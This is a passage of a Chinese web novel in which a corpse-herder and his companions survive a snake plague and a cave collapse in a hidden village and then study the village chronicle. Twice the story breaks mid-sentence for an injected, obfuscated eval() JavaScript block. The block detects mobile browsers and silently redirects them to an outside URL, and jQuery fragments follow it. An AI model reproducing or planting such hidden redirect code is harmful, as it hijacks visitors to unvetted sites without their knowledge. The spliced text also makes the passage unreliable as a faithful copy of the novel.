“你以为我信吗?只是入乡随俗,他们都信了,我信不信也无所谓啊!”
“蛇精——女鬼——巨蛋——半人半蛇的怪物——”薛暮冉一边随口说着,一边轻轻敲击桌面,“我从里面,怎么看到了爱情?”
“你可别忘了,这个女鬼找了几十个年轻男人在洞里服侍她,如果是人蛇之间的禁忌之爱,那还找那么多男人做什么?围观吗?”
“你说,那个被杀掉的男人递过去一杯液体,被那女鬼嫌弃难喝,是吗?”见柳水鹤点头后,他继续猜测,“女鬼杀了那个男人,又舔了一下溅到她脸上的血,说这样的才好喝。我想,是不是那个女人养着这群男人只是为了吸血,实际上还是爱着那条蛇?”
“半座山那么大的蛇,怎么跟人类女子在一起生育后代?你在做梦呢?以为妖精都能变成人类模样吗?”
“那谁知道呢,妖精我又没见过,何况那么多小说里都写了,妖精会变成人类,那么多书,总有不是瞎编乱造的吧?”
“有句老话,叫尽信书不如无书,你是不是小说看多了,着了魔了!”
两人正在斗嘴,屋外传来喧闹之声,原来一群三四十岁的村民拿着锄头,铁铲,聚集在一起,打算守卫村庄。
柳水鹤搀扶薛暮冉走出去,此时天边挂着橘红色的云彩,太阳已经落下,整片大地包裹在温暖的氛围中,没有丝毫的紧张感。
村长刘广肃站在人群中,慷慨激昂,鼓励村民勇敢团结,不可退缩。又安排了许多事项,让村民去做。云黎站在人群后方,神色复杂。
许久,演讲结束,众人按照村长训话,将硫磺洒满村中各处地界,将家畜拴好,才各自回家锁好门窗。
云黎步伐缓慢,走回屋,满脸疲惫。
“我跟村长说,如果传说是真的,最好还是暂时离开寻水乡。可是——”
“他拒绝了?”薛暮冉问。
“神话是真的吗?”柳水鹤紧接着问。
“他说,据记载,村子一百多年前的确经历过一次蛇灾,死伤无数。此后又过了大概五六十年,蛇灾再次来袭。算算时间,这次也差不多了,他已经做好了准备,增加了硫磺的数量。而且,寻水乡的人,不能抛弃村子。”
“这是要跟家乡共存亡啊!”薛暮冉说,面露赞叹之色。
“留得青山在,不愁没柴烧。跟村子共存亡,要是真都死绝了,看他后不后悔这个决定!”
入夜后,各家各户都亮着煤油灯,门前柱子上都绑上火把,松树油的清冽气味夹杂着硫磺的刺鼻味道,在空气中弥漫。
也许是为了不让他们的准备落空,也许是天意如此,又是一个轮回。
轰隆一声,地动山摇。
薛暮冉靠在柱子边,望向远处黑漆漆的山上,看不出任何变化。柳水鹤掏出一个小型望远镜,聚精会神地看着。云黎在屋内陪着奶奶,以防不测。
“看见什么了?”薛暮冉伸手想夺过望远镜,结果被推开。
“看不清,你别打扰我!”柳水鹤又看了片刻,猛地长大了嘴巴,呆住了,将望远镜递给薛暮冉,口齿不清地说着什么。
“你可别吓唬我,什么玩儿意这么吓人,我可不信——”他借着望远镜看清楚那片黑暗中涌动着的东西,忍不住吃了一惊。
那是一片,熙熙攘攘,足以摧古拉朽,扫荡天地山河的蛇群。
8. 第八章 生死在乎一念之间
从望远镜中,薛暮冉看见了数不清的黑色蛇群,像洪水一般从山上奔流而下。穿过密密匝匝的树林,茂密青葱的草地,渡过河流,游过溪水,往寻水乡袭来。
“我——我就说嘛,哪有半座山那么大的蛇!”薛暮冉双手发颤,嗓音沙哑,“柳——柳水鹤,怎么办?”
“柳——你怎么知道我的全名?”
“现在是追究这件事的时候吗?”薛暮冉看着旁边燃烧着的火把,伸手去抓,但是因为手抖,一直拽不下来。
柳水鹤踏在板凳上,将火把勾下来递给他,深吸一口气,说:“看上去不是修蛇,只是普通蛇群。只是我不知道那些硫磺能不能挡住蛇群。但是既然以前他们碰到过这种情况,而且还有人活下来了,那至少还是能起作用的。”
“还好,只是蛇群,又没有女鬼,只要是动物,野兽,总有办法杀死它们。如果是妖精,鬼怪,我可真的接受不了。”薛暮冉松了口气,乐观地说着。
这时云黎跑过来,拉着两人往后院跑,边解释说:“刚刚奶奶告诉我,家里有密道,专门是为了应对这种情况所准备的。”
后院中央铺着几块一米多宽的青石板,云黎撬起来中间那块,露出底下的空洞。
薛暮冉扶着柳水鹤,轻轻滑下去,发现不过两米多深,底下有个一人多高的通道,墙壁上装饰着会发光的石头,用来照明。四周遍布蛛网,似乎很久没有打扫过。
“没想到你家还有这么大的地窖啊!”
听见柳水鹤的声音在身后响起,薛暮冉扶着墙壁笑道:“你家地窖还带转弯啊?这明明是地下通道。对了,云黎,这前面通向哪里啊?”
“是村子的中心,里面存放着许多以前的东西。刚刚我把奶奶送过去了,才知道有这么个地方。大家都在那边等我们了,快走吧。”
“那怎么到现在,你才带我们下来啊?”柳水鹤上前一步,扶着薛暮冉。
“我开始不知道这事,奶奶记性也不好,我父母早些年意外去世,这些事也就没人知道了。刚刚大地震动,奶奶一下子好像记起来什么,带着我来到后院,让我掀开那块青石砖,我才知道还有这个地道。”
洞内墙壁上的点点微光,勉强照亮了脚下的湿润的泥土地。绕了不知道几道弯,也许是洞内空气不流通,让人呼吸不畅,薛暮冉只觉得好像陷进了泥泞沼泽之中,时光缓慢流失。
就这样混混沌沌地走着,也许已经过了好几个时辰,脚下的湿土也变成了坚硬的石块,终于听见一阵说话声,前方人影晃动,似乎有火光。
穿过狭窄的洞口,终于来到一处宽敞的山洞,数十根粗壮的石柱立在其中,不禁让人联想到上次在蛇洞之中所见到的场景。
人群围在一起,低声谈话,嗡嗡之声像极了夏日里聚集在一处的蚊蝇之类。前方的墙壁之上凿出无数方形小孔,塞满了书籍卷轴。
四面八方有好几个黑漆漆的通道,隐隐间气流涌动,似乎有风从其中灌进来,带来一丝凉意。
“喂,这地方该不会就是上次你们去的那个蛇洞吧?”薛暮冉有些胆战心惊。
“山洞构造大都类似,你放心,上次的蛇洞已经塌陷。这里是我们祖辈照到的地方,当初人丁稀少,从外地迁徙而来,一切都要重新开始。这里就是用来遮风避雨的大本营。”云黎笑着解释。
这时,嗡嗡声忽然逐渐停下来,定眼望去,原来是刘村长站在台阶上制止众人低语。他清了清嗓子,大声说道:“大家不要惊慌,根据村志记载,以前也发生过类似事件,但是我们依旧存续至今,就因为有这个山洞。你们知道是为什么吗?”
人们摇头,又继续交头接耳,嗡嗡声再次蔓延开。
“因为这里的石头里都含有硫磺,蛇群不敢接近,所以大家尽可放心,我们只要挨到明天早上,一切都会没事的……”
“可是,万一蛇群围住这里,不让我们出去,可怎么办?带的干粮也不多,水也不多,这个山洞什么都没有,附近连条地下河都看不见,那我们岂不是要饿死在这里?”
人群一下子炸开了锅,群情激愤。
“大家静一静!”刘村长也有些焦急起来,忙制止其他村民,“大家知道为什么蛇群会来攻击我们吗?”
好奇心人人都有,人们喜欢听故事,于是都安静下来。
“一百多年前,我们的祖先来此定居,不想惊动了它们,引发第一次蛇群攻击,死伤无数。于是先祖们找到了这个山洞,并挖掘地下通道,以供村里人避难。等到第二次,也就是距今大概六十年左右,蛇群再次来袭,但是这次村里没有一人伤亡!”
刘广肃言辞激扬,铿锵有力,一下子震慑住其他人。
这时有些经历过上次蛇灾的老人也站出来,“上次蛇群来袭,我还是个小孩子,父母带着我们跑下地道,在这里躲了三天三夜才敢出去,结果连一条蛇的影子也看不见。有些胆子大的在洞口观察,他们都说,第二天太阳一出来,蛇群就自动逃走了。”
接连好几个老人都附和这段说辞,这才稳住众人情绪。除了几个年轻人在洞口观察站岗,其他几十户人家各自聚集在一处,小声说着话。
见山壁上书卷无数,薛暮冉悄悄靠近,偷偷拿下一卷刚要打开,却被人抢去。
他皱眉看向那人,眉毛浅淡,眼含戾气,个头比自己矮一截,看上去是个十多岁的男孩,十分脸生,一时也记不起在哪里见过。
那人叫道:“这是我们村子的东西,你一个外人看什么?”
云黎跑过来,劝道:“刘晟,这是做什么?”
“本来就是啊,如果不是这几个外人突然来村子里,怎么会有这次的蛇灾?我都听叔叔说了,都是因为你们上山炸了蛇洞!云黎,你是村子的罪人!”
“住口!”刘广肃怒道,“刘晟,我什么时候跟你说过这件事?还不退到一边去!”
怒斥之下,刘晟紧咬下唇,忍着怒气退到一边,但仍旧充满敌意看着这边。
“这次蛇灾,如果我们可以顺利度过,还希望两位可以尽快离开寻水乡。我们这里不欢迎外面的客人。”刘广肃说完这句,也转身离开。
万家灯火,总有不欢迎自己的。薛暮冉淡淡一笑,来到角落坐下。抬头四顾,那些村民偶尔偷偷瞟向自己的眼光里都带了些憎恨。
来到寻水乡也不过三天时间,他本就是外人,但那些目光却像刀子似的扎进了他的心。他原以为自己可以毫不在意外人的看法,但事实证明,他依旧无法彻底抛开世俗的认同感。
一拳捶在坚硬的石墙上,手上传来的疼痛感提醒着他还活着,这个身体还活着,只要活着,就有希望,他总会找到适合自己的一方天地。
他不是丧家之犬!不是没人要的小怪物!他就算无父无母,依旧是活在这世界上的活生生的人!
“生什么气呢?生活本就如此。”柳水鹤也跟着坐下,嘻嘻笑道,“我刚出生不久,父亲消失,两岁的时候,母亲丢下一个青铜铃,也跟着不见了。我自小在一家道观长大,他们教我念经,学习道法,结果,我却走上了赶尸这一行。他们说我是歪门邪道,赶我出门。可是你看,现在我还是过得好好的啊。”
“怎么?你要跟我比惨啊?”薛暮冉讥笑道。
“比上不足,比下有余吧,要说惨,多少人衣不蔽体,食不果腹,有什么可说的?”
“你说得倒轻松!敢情那些人不是你!”
“你怎么知道我没经历过?”柳水鹤也怒了,“只是既然选择了这条路,就只能这样走下去。不然就别走这条路!”
“你当我想跟死人打交道吗?你以为我有的选吗?”薛暮冉低声吼道,“你是自作自受,好好的道士不做,去赶尸。我要不是不干这个,我连饭都没得吃!”
他盯着柳水鹤那双淡褐色的眼眸,几乎要哭出来。但仍旧倔强的扭过头,将脸埋进膝盖。
洞穴宽阔,薛暮冉几人所在的角落远离村民,说话时又刻意压低了嗓音,所以并没有人注意到这边发生的争论。
除了云黎,他站在两人身旁,心中无奈。叹了口气后,也坐在地上。
“整个寻水乡,除了刘村长那一脉,就只剩下我们姓云的。只是不知为何,云天杨那一脉向来不跟我们来往。我们住在刘氏一族的范围内,要说活着,那也能生活下去。日出而作日入而息,春天播种,秋天收割,偶尔进山打猎,能进城卖钱,补贴家用。
大概二十多年前,那是个秋天,我穿上母亲新织的毛衣,目送着他们进山打猎,傍晚时分,他们回来了,却没有见到我父母。他们说,我父母因为贪功冒进,被野兽叼走了,只给了我一块带血的衣角……”
云黎声音低沉,语速缓慢,像在说一个故事。
“我不知道,那天到底发生了什么事情。此后只剩下奶奶陪着我,她告诉我,要好好的长大,好好生活,只有长大了,有力量了,别人才不敢欺负我们。邻居之间,见面了笑着打招呼,背过去也许又是一副样子。我想,这个世界本就如此吧。没有多大的善良,也没有多大的恶意。”
三个人整齐地坐在墙角,沉浸在过去的时光里。
薛暮冉抬起头,偷偷擦了擦眼角,直愣愣看着前方布满灰
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988024|161560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
尘的地面,眼前忽然出现一双裤脚撸到膝盖的赤足,脚指甲里全是黑泥。抬头一看,却是方才闹矛盾的少年——刘晟。
“你又想做什么?”他问,语气慵懒,经过这一系列的事情,他已经失去了争论的精力。
“诺,这是干粮,我叔叔让给你们的。”少年递过来一包纱布裹着的烙饼,见没人接,他直接扔在地上,转身就走。
边走边骂道:“你们爱吃不吃,饿死算了。”
任凭那面饼滚在地上,没人伸手去捡。薛暮冉偷偷看向云黎,昏暗的火光下,原本言笑晏晏的青年此刻却剑眉紧皱,眼里的悲伤闪着泪光。
气氛沉重,一时难解。
他靠着墙壁缓缓站起,弯腰想捡起干粮,忽然脚下不稳,整个向前滚去。他摸摸被撞疼的额头,刚想坐起身,只见整个洞穴顶部也跟着晃动。
他脚伤未愈,挣扎着想站起来,忽然胳膊一紧,原来是柳水鹤扶住他,往墙壁退去。茫然间,他注意到村民聚集的位置也一片混乱,人们仅仅抱在一起,哭声不断。
整个洞穴都在震动。
“这样晃动,是正常现象吗?”柳水鹤问道。
“我去问问村长,你们待在这里不要乱动。”云黎猫着腰往刘广肃所在的位置跑去。
又一阵猛烈的晃动,整个墙壁上的卷轴书籍纷纷像下雨一般掉落下来。有几本滑到薛暮冉脚边,他抓起一本翻了翻,原来是教授人种植的书籍。
又翻了其他几本,大都是饲养、种植方面的书,有一本神话书,画了很多龙、蛇、巨鸟一样的奇怪动物,满目荒凉的奇怪的大地。
其中最让薛暮冉感兴趣的,是一本十分古老的村志,记述着寻水乡的历史。
趁着混乱,他将那几本书塞进怀里,推着柳水鹤往洞口方向跑去。
“我宁肯死在外面,也不要这样不清不楚的埋在地下。”他冲柳水鹤叫着。
镶嵌在山壁上的水晶石纷纷掉在地上,整个洞穴光线昏暗,视物不清。薛暮冉紧盯着洞口的那一束月光,跌跌撞撞冲过去。
身后传来柳水鹤的大喊,声音朦胧,听不清楚。
他已经顾不上了,希望近在咫尺。只要逃出去了,就有希望活下去。他能做的就是不断靠近,去抓住老天爷伸下来的援手。
哐当,一块巨石掉了下来,在他面前裂成块块碎石。他喘着粗气,抬头一看,一根巨大的钟乳石正摇摇欲坠,像一把利剑。
看着不远处的洞口,两个人压在碎石中,一动不动。那一瞬间,他仿佛看见,自己躺在漆黑的山洞里,浑身插满了尖利的石块。
也许,死在这里也不是坏事。
他闭上眼睛,逐渐听清落石的声音,咚咚——咚咚——
“你是不想活了吗?”一声怒骂在耳边响起,柳水鹤拉着他避开乱石,往洞口移动。
身后惨叫声不绝于耳,薛暮冉偶一回头,忍不住痛苦地闭上了眼睛,已经分不清哪些是人,哪些是石块了。
他忍不住想起云黎,不知道他跟云奶奶现在如何了。脚边碎石满地,一具尸体躺在地上,胸口被巨石砸烂,黑红的血迹炸开了花。
月光如水,从洞口斜斜照进来,冷冷看着这一切。
然后,消失了,月光消失了。
身旁的柳水鹤身形一顿,似乎也十分疑惑。
此时,脚下的晃动也停了下来,灰尘飞舞,混着硫磺的气味,干燥难闻。
一道火光亮起,原来是柳水鹤随身带着的火折子。两人继续摸索着往洞口走去,发现洞口并未被乱石堵住,但是月光却离奇的消失了,也许是刚好飘过一朵乌云,遮住了月亮吧。
爬出窄小的洞口,是一处平缓的山坡,薛暮冉左右查看,并未发现蛇群的踪迹。眺望远方,一片红光。远处山坳之中,烈火熊熊。
“那——难不成是寻水乡?”他拉拉柳水鹤的衣袖,茫然道。
啪嗒一声,火折子掉在地上,很快熄灭。他转头望去,一片黑暗,看不清柳水鹤的表情,只听见他浑浊的呼吸,和微微颤抖的身体。
天空一片黑暗,像神仙打翻了砚台,泼了整片天空的墨水画。
“你怎么啦?”薛暮冉摇摇他。
微风吹过,皎洁的光芒再次洒满大地,他才看清,柳水鹤整张脸上都写满了恐惧。
顺着他的目光看去,天地之间,耸立着一根青黑色的巨柱,那是一条足以遮天蔽日的巨兽,橙红色的头上,一双金色巨眼缓缓移动,注视着这片山地。
阴冷的月光下,那巨兽的长尾盘在山体之上,蜿蜒曲折,绵延千里。
9. 第九章 何故弃人去
“啊!这——这是什么东西?”
身后响起叫喊声,薛暮冉回过头,见村庄里的那些人也都涌了出来,云黎却不在其中。他忙去打听云黎下落,可惜这群人光是逃出来已经费了半条命,连自己的亲人都顾不上,又哪来的精力管别人呢。
混乱之中,他推开众人重新钻进山洞,捡起一块水晶石照明,往前摸索前行,脚下碎石遍地,时不时还被那些尸体阻挡,绊上一跤。
来到那片书墙,满地的布帛纸张,墙面之上所剩无几。他大声喊着云黎的名字,在一块巨石背后,传来微弱的呻吟。
他连忙跑过去,顿时大失所望。
是刘广肃,半个身子压在巨石之下,眼看着已经命不久矣。
他向薛暮冉微微伸手,似乎有话要说。
“云——云黎——被那个女人抓走了,都是孽缘啊!”刘村长气息微弱,从怀里掏出一个青色皮面的卷轴,递到薛暮冉手里,“找——找到云黎,交给他——村子,还有救——不能再死人了。已经死了那么多人,那么多人的心血,换来如今的世界,不能——”
话没说完,已然绝命。
手里的卷轴还带着人体的温度,薛暮冉握紧了拳头,心底五味杂陈,说不清楚其中滋味。又转了一圈,检查那些被乱石砸中的人,竟然无一人活着。
死了这么多人,这么多人,这一切,如果他没有撞倒柳水鹤的僵尸,是不是就不会尸惊?这样那只僵尸就不会逃走,他们也不会遇见那群野狼,不会被咬,来到寻水乡,更加不会为了解毒去找庄老……
这样就不会有后来的一切,也许,就不会有如今的局面,不会死这么多人,云黎也……
他止住幻想,看着地上的尸体,出了神。
满头白发像枯草般打着结,皱巴巴的手无力地伸出来,像抓住什么似的,最终无力地垂下。
不,不是云奶奶——
薛暮冉心里有个声音,一直重复着这句话。
翻过尸体,他看清了那张熟悉的脸,他曾经跟她撒娇,喊她奶奶。此刻,她永远地闭上了那双浑浊的眼睛,再也不用担心会认错人了。
他模糊了双眼,泪水不断涌出,滴在干燥的地面上。水晶石摆在一旁,隐约可以看清已经死去的老人的脸。有一瞬间,他好像看见老人眼皮动了一下,他心里一阵欢喜,伸手去探鼻息,又摸脉搏,种种迹象表明,老人已经离世。
他颓然地倒在一旁的石块边,思绪混乱。清风过处,一阵腐臭味从洞穴深处飘了过来,他一抬头,仔细辨认,黑暗中似乎有人影晃动。
咚——咚——咚——
一双利爪撕裂空气,猛地抓过来。薛暮冉侧身一滚,顺手拿起地上的水晶石照去,那石块之上赫然留下两排指痕,一根漆黑颜色的断甲插在上面。
“僵尸?”他翻身逃窜,已经来不及思考那东西怎么会突然出现在这洞穴之中。
所幸地面石块众多,僵尸移动缓慢,很快,他逃出洞口,大叫起来:“僵尸!僵尸在山洞里面!”
一看天空,只剩一轮明月,巨兽早已不见踪影。
“僵尸在山洞里?”柳水鹤跑过来,掏出青铜铃当空一摇,许久之后,洞口内仍无动静。
几个胆大的年轻人举着火把,紧跟着柳水鹤进洞查看。结果除了遍地死尸,再无其他存在。
刘晟推了一把薛暮冉,骂道:“你在说什么鬼话?想转移我们的注意力,好放你们走吗?”
“你什么意思?”
两人言辞激烈,眼看着就要吵起来,柳水鹤忽然蹲下,掀开地上死尸的衣服,除了石块砸出的伤痕外,几道细长的血印更是触目惊心。
好几具尸体的脖颈处留有血红的压印,而且尸体脸色发黑,指甲变长,眼见就要变成新的僵尸。
这群年轻人哪里见识过这样的事情,纷纷询问柳水鹤有何办法解救。
“最好,还是一把火烧了以绝后患。”
几人正准备点火,刘晟伸手阻止,“这里还有这么多书籍,都是村子的历史,不能烧!”
“那些东西谁看啊?”其中一个年轻人说。
“不管看不看,都不能烧!这是我叔叔拿命保护的地方,我不能让你们烧了它!”刘晟坚持。
相持不下间,柳水鹤建议将尸体拖到洞外一起燃烧。
“只是需要各位帮忙搬运尸体,不过要小心,不要沾到他们的血液,也不要被他们指甲划伤——”
趁着村民们忙活,薛暮冉问道:“那只巨兽怎么不见了?”
“可能是看你害怕,钻进洞里,它觉得没劲,就自己走了吧。”柳水鹤笑了。
“我是去找云黎,谁说我害怕了?你能不能正经点,到底怎么回事——”
“就,忽然间消失了,我也不知道怎么回事。”柳水鹤苦笑着,“那一瞬间,我以为自己掉进了地狱,你知道吗?那种应该存在于其他世界的怪物,就这么活生生的出现在我面前。我到现在还不敢相信,就跟做梦一样。”
“消失?是慢慢变透明那种,还是噌的一下,变没有的那种?”
“有区别吗?”
“怎么没有,这样至少可以知道它的速度,万一以后再碰到,看看是直接等死好,还是可以搏一搏,逃命好——”
“那要这么说的话,应该是第一种,可以试试逃命——”
“哈哈哈哈——你还当真了啊!”薛暮冉道,一边推了把坐在身旁的同伴,“多谢了,这一切。”
“哦。”
“喂,态度这么冷淡啊!”
“不然呢,我可不像你,随时随地哭鼻子——”
“你说谁呢!”
村中的年轻人们将山洞里的尸体搬了出来,在地上整齐地排好。
柳水鹤微不可闻的叹了口气,拿着火把走过去,拜了三拜,大声道:“人生在世,短短数十载,来过一趟,体验过酸甜苦辣,世情冷暖,也就不算白来一趟了。希望大家一路走好!”
有人低声啜泣,有人伸手抹眼泪,还有人暗自握紧拳头,滴滴鲜血从指缝中流出来……
火焰翻飞,希望死去的人不会有知觉,不会觉得疼。
刘晟跪倒在地,大声呼喊着什么,其他人也接连着跪倒在地,泪眼婆娑。
这是天灾,还是人祸,谁也说不清。
等到天亮,太阳升起,他们才结伴下山。本来山洞内的通道也可以直接下山回家,只是经过这一系列事件,那漆黑的地下给众人心中蒙上一层阴影,他们宁愿走崎岖不平的山路,也不愿意进那个山洞。
行至半山腰,柳水鹤忽然开口道:“对了,庄老跟伴冬还在那个茅草屋里!”
“喂!你们别搞花样!又想做什么?”刘晟说,脸上十分不耐烦。
“我去看看庄老怎么样了,他也是寻水乡的人不是吗?”柳水鹤挠挠头,叹了口气,“我跟薛暮冉去找庄老,你们自己下山,不耽误你们时间。”
说罢,两人调转方向。
这时,薛暮冉隐约听见身后人群里的谈话声。
“你手怎么了?”
“树枝划到了,没事。”
他转头扫了一眼,也没在意,紧紧跟在柳水鹤身后。
绕了大半个山头,终于看见意见茅草屋。一身绿布衣服的女孩坐在门口,摆弄着脚边的药草。
他听柳水鹤说过有个叫伴冬的女神医,救了他的命,此刻也猜到就是眼前的女孩。
没等他开口道谢,女孩已经注意到他们,笑了起来:“你们回来了啊,没事吧?哎,云黎呢?”
提到云黎,两人脸色俱是一变,将昨夜发生之事一一告知,神色颓然。
“为什么那个女人这么执着于云黎呢?难不成昨夜那么大阵仗,都只是为了声东击西,带走云黎不成?”伴冬问道。
这话犹如当头棒喝,提醒了柳水鹤,“山洞里的那些男人长得跟云黎还都有几分相似,其中还有一个姓云的,是他家爷爷辈的。难不成这个女人跟云家有仇?还是说,有——”
他迟疑了。
“爱情?”薛暮冉抢先一步,替他猜测。
“可是,如果说蛇灾是那个女人带来了,那都一百多年了,云黎再怎么返祖,也不可能跟一百年前的人长得相似啊。”柳水鹤说。
“那谁知道,缘分也许就是这么神奇呢。”薛暮冉说完,猛地一拍脑袋,从怀里掏出那本捡到的村志,“对了,有这东西,说不定上面记载了什么爱恨情仇呢。”
粗略翻了一遍,无非是说京元1640年,为了隐居避世,云、刘两大家族带着些许外姓人聚集在一起,来到此处定居。
云氏老大云金柏和刘家长子刘火宣,带领这群年轻人,开垦土地,春耕秋收,逐渐稳定下来。可惜好景不长,云家长子因耐不住寂寞,趁夜出走。
直到五年后,他才回来,还带回来一个大着肚子的女人,说是自己的妻子。一起带回来的,还有外面世界的稀奇玩儿意。
此时村长已经由刘火宣担任,他与云金柏大吵一架,并要求他带着外人立刻离开村庄。可云家
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988025|161560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
小妹冲出来,哭着请求村长网开一面。
最后,那女人顺利产下一子。那夜,正是十五。
第二天,云家小妹离家出走,连夜进了深山之中。刘火宣组织搜救队伍进山寻找,一无所获。
月缺那夜,蛇群来袭,刘火宣组织村民逃离时,发现云金柏妻子惨死家中,只剩下幼儿在尸体边哭泣不止。
而云金柏早已失去踪迹。
蛇群猛烈,村民死亡众多,终于有少部分逃进一处含有硫磺的山洞里,这才保留下村子的血脉。
如此平静地过了五十多年,在一个月缺之夜,蛇灾再次来袭。所幸刘火宣有先见之明,早在离世之前,设计好村中的地道,让后人照着挖掘,以备不时之需。这次蛇群并未对村民造成损伤,只是有几处茅草房被撞塌而已。
此后寻水乡定了两条规矩,一个是月缺之夜不能进山,还有一个则是,寻水乡人,不准带外人进村。
但是为了村子可以长久延续下去,每年会选出一部分人进入县城买卖交易,赚取钱财跟其他生活用品。
京元1755年,村中一户李姓人家出走。现任村长刘广肃为了保护村庄不被外人发现,在附近广种树木,改变地形,隐藏从外界进入村子的道路。
此后一直相安无事。
“京元1755年?奇怪啊,今年不是新元114年吗?这个京元的纪年法哪里来的?”薛暮冉问道。
“也许是这个村子原来就有的吧。”柳水鹤说,接过村志看起来,“要是云黎在,我们就能知道这个年份跟我们用的是怎么个对应法了。”
“对了,庄老呢?可以问问他啊。”薛暮冉兴奋起来。
“他突然发高烧,我用茅草给他铺了床,他现在躺着,眼睛都睁不开。”伴冬说,眼神萧索。
薛暮冉席地而坐,想着这几天来发生的事情,一切恍如梦中。
云黎失踪,僵尸还游离在外,寻水乡也被烧个精光。还有那个巨大的蛇怪,遮天蔽日的身躯,大如星斗的眼眸,现在想来,依旧浑身发冷。
记不清是哪个大人物曾说过,与天斗,其乐无穷,与地斗,其乐无穷,与人斗,也其乐无穷。
但是人真的能胜得过天地吗?
蚍蜉撼大树,可笑不自量。在日月山川面前,人的一双手显得如此渺小,如此纤弱。连自己的这条小命都保不住,又何来争斗的资格?
想起那怪物的巨尾盘在桐柏山上,傲然月亮之下,雄立山川之间,仿佛动一动即可地动山摇,打个喷嚏就是狂风暴雨。
实力悬殊至此,何谈争斗?
越是思考,越是绝望。薛暮冉长叹一口气,默然不语。
“眼下还有能做的事情,第一,找到云黎,第二,找到那只僵尸。至于其他的,见机行事吧。”柳水鹤一脸淡然。
“喂,那么大的怪物,我们怎么斗得过?在它手里抢云黎,你做梦呢!”薛暮冉叫道。
“你别一看见那东西巨大,就先吓破了胆。”柳水鹤道,“昨夜,那怪物的影子挂在天上,没过一会就消失了。我想,那可能是个幻觉。如果对方真的有这本事,还用得着使唤那么多小蛇吗?”
听过两人的解释,伴冬沉吟道:“那日你们在山洞里碰见的修蛇体型不过是普通蟒蛇的大小,作为支撑山体的石柱,可见的确有东西可以使唤修蛇。”
“但是攻击村落的却是普通的蛇群。”柳水鹤那夜所见的蛇群通体漆黑,跟修蛇的青黑颜色区别甚大。
“这也正常,修蛇是蛇中之王,其他蛇族受它控制是再寻常不过的事。你们还记得云黎所说的,那个会发光的巨蛋吗?”伴冬问道。
薛暮冉一脸疑惑。
“就是山洞里那个上半身是人,下半身是尾巴的怪物,在一个大蛋壳里。你忘了?”
柳水鹤这番话,才让他想起来。他没有亲自经历,一切都是听柳水鹤复述,加上自己的想象,所以印象不深。
“昨夜,我翻看山海经,找到有关修蛇的那一篇记载,说是西南有巴国,又有朱卷之国,有黑蛇,青首,食象。天生为牡,子借异腹。所以导致修蛇数量稀少,极为珍奇。”
“为母?什么意思?天生是母的?”薛暮冉问道。
“恰恰相反,这句话的意思是说,修蛇天生都是雄性,无法同族内产生后代,只能借助其他生物的肚子来生育。”
听完伴冬的解释,柳水鹤一脸恍然大悟的样子:“这样就说的通了,云黎说的那个巨蛋,肯定就是修蛇借着人类女子生下来的东西。”
10. 第十章 原是一桩好姻缘
入夜,月光朦胧,巨大的光晕高高挂在天空,像罩了一片轻纱。柳水鹤掏出两枚赤红色的闭息丹,递给薛暮冉一颗,刚要塞进口中,却被伴冬阻止。
“你们赶尸人所用的闭息丹药效短暂,而且影响服用之人的行动。不如用我这个吧,效果差不多,但是吃了之后会但时间增加你的力量跟速度。”
接过来一看,药丸金黄,闻着清香透脑。
“你这个药叫什么名字?”
“我不喜欢取名字,不如就跟你的药取一样的吧,就叫闭息丹算了。以后就换成我这个药吧。”
“可是,这个闭息丹是根据我母亲留下的药方做的,你这个药效真的有那么好吗?”
“三十年前的药再好,肯定也不如现在的有效果。”伴冬呵呵一笑,“再说了,你这个闭息丹,也是我做的,我能不知道?”
柳水鹤吃了一惊,眼前的女子看上去不过二十多岁,怎么可能做出三十多年前的药物。
“你上次就说,赶尸的柳姐姐,你到底是什么人?”
伴冬托着下巴沉思,半晌后才开口:“柳姐姐啊,我第一次见她的时候,她还没有孩子呢,也没有青铜铃,腰间插着一节翠竹做成的笛子,用音律来控制僵尸。几年后再碰见她,怀里抱着个小男孩,手里拿着青铜铃玩……”
“不可能,那你现在该多少岁了?”薛暮冉颤抖着声音反驳。
“年纪这种东西,我早就记不清了。反正从春到夏,从秋到冬,日日夜夜,我都游荡在山川江河之中,管他年岁多少呢。”
女子的声音悠远清扬,蕴含着数不尽的沧桑。
入夜之后,山中清冷幽静,严冬时节,早已不闻虫鸟之声。
“喂,老柳,你慢点!”薛暮冉一路小跑,也赶不上前面的高大背影。
“你别被那小丫头骗了,我猜,八成是庄老碰见你母亲,跟她说了这些事情,她才知道……”
那人影这才停下,转过头问道:“如果是这样,她为什么要骗我?这对她有什么好处吗?”
“这——”薛暮冉一时语塞,“也许,她天性如此,就喜欢骗人呢。”
“你!”柳水鹤被这番无赖言论气的够呛,恨恨道:“早知道就该把你送去喂僵尸!”
“嘿嘿,别这样嘛,等我们抓到僵尸,找到云黎,这件事就彻底结束了。”这时,他想起云奶奶死去的模样,心头一哽,像是被什么东西撞了一下,疼得他一时喘不过气来。
但他表面依旧不正经的笑着,跟在柳水鹤身后,悄悄擦掉眼角的泪珠。
来到山坡上一处平坦的地界,柳水鹤高举青铜铃,轻轻一摇,绵密清澈的声音从四面八方激荡回来,薛暮冉一时有些眩晕,扶着山石坐下,塞住耳朵,这才勉强可以阻隔铃音入脑。
